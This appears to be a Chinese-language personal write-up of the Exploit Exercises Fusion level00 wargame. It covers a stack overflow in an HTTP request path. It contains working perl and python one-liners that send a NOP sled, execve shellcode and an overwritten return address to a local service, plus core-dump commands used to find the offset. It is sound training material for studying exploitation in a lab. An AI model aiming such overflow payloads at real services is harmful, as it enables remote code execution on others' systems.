1.if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
就算path不存在,resolved也会被赋值成path
记错了,想成path不存在resolved就会赋值NULL,搞得我一直在构造特殊路径
PS:python或者perl可以构造特殊路径和文件,比如
install -d `python -c 'print "\x90"*90'` 但是要注意如果shellcode中有/,那么就会生成多个目录
2.原本的想法是
python -c 'print "GET "+"/home/fusion/"+"\x90"*25+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"+"/"+"A"*51+"\x0f\xf9\xff\xbf"+" HTTP/1.1"' | nc localhost 20000
本来这样也是也行的,但是shellcode中"\x00",被当成了字符串的结束了.然后就不能读到HTTP/1.1了
索性就看了下别人的答案,看到别人是把shellcode写在HTTP/1.1后面,哎,我也是醉了,咋没多想一步呢?
fusion@fusion:/$ perl -e 'print "GET /". "A"x139 . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"' | nc localhost 20000
3.为什么EIP前面的的填充字符个数是139个?
自己计算的是128+8+4,应该是140个啊,不应该是139个.
4.看别人是有core生成的,可以调试得到EIP的偏移量
#ulimit -c unlimited
# sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
可以在/tmp目录下看到core
题目链接:
http://exploit-exercises.com/fusion/level00
答案链接:
https://www.mattandreko.com/2012/04/09/exploit-exercises-fusion-00/
http://terrying.blog.51cto.com/2147205/1198018